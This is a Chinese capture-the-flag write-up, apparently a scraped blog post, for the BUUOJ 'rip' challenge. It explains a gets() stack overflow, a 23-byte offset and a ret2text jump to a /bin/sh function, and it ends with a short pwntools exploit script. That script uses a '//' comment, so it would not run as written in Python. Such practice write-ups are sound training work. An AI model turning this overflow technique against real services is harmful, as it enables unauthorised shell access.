第二题——rip

Posted 想学习安全的小白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了第二题——rip相关的知识,希望对你有一定的参考价值。

题目地址:https://buuoj.cn/challenges

解题思路

第一步:下载题目给出的pwn1文件

在这里插入图片描述

第二步:使用IDA打开pwn1文件

  1. 查看main函数发现gets函数对于输入没有限制
    在这里插入图片描述
  2. 汇编不好看可以按下f5查看伪代码
    在这里插入图片描述
  3. 在fun函数看到了/bin/sh命令
    在这里插入图片描述

第三步:获取flag

  1. 思路:由于gets函数没有限制输入,可以利用缓冲区溢出,将缓冲区填满后跳转到fun函数处,获取shell,以达到获取flag的目的
  2. 由于gets函数将获取到的值赋值给s,双击查看s定义了多少空间
    在这里插入图片描述
    在这里插入图片描述
    1-f占了15位,db 8 dup (?)占了8位,所以s一共15+8=23位
  3. 查看fun函数的开始地址为:0x401186
    在这里插入图片描述
  4. 编写exp
exp编写步骤:
from pwn import * #引入pwn库
p = remote(ip, port) # 输入对应的ip地址和端口号来连接其他主机的服务
... # 输入payload来进行操作以拿到程序的shell payload一般等于 偏移量 + 地址
p.interactive() # 反弹shell
结果:保存为1.py
from pwn import *
p = remote('node3.buuoj.cn', 29021)
payload = b'a' * 23 + p64(0x401186 + 1)//+1为了保证堆栈平衡
p.sendline(payload)
p.interactive()
  1. 使用python3 1.py执行1.py,输入cat flag获取到flag
    在这里插入图片描述

以上是关于第二题——rip的主要内容,如果未能解决你的问题,请参考以下文章

下面的第二题怎么做啊,求解题思路,特别是白色紫色红色粉色的基因型怎么找啊?

820 2019读程序的第二题 ,字符串

算法入门 01线性枚举(简单 - 第二题)LeetCode 557

Leetcode代码练习

课程作业第二题

pwnable.kr 第二题 collision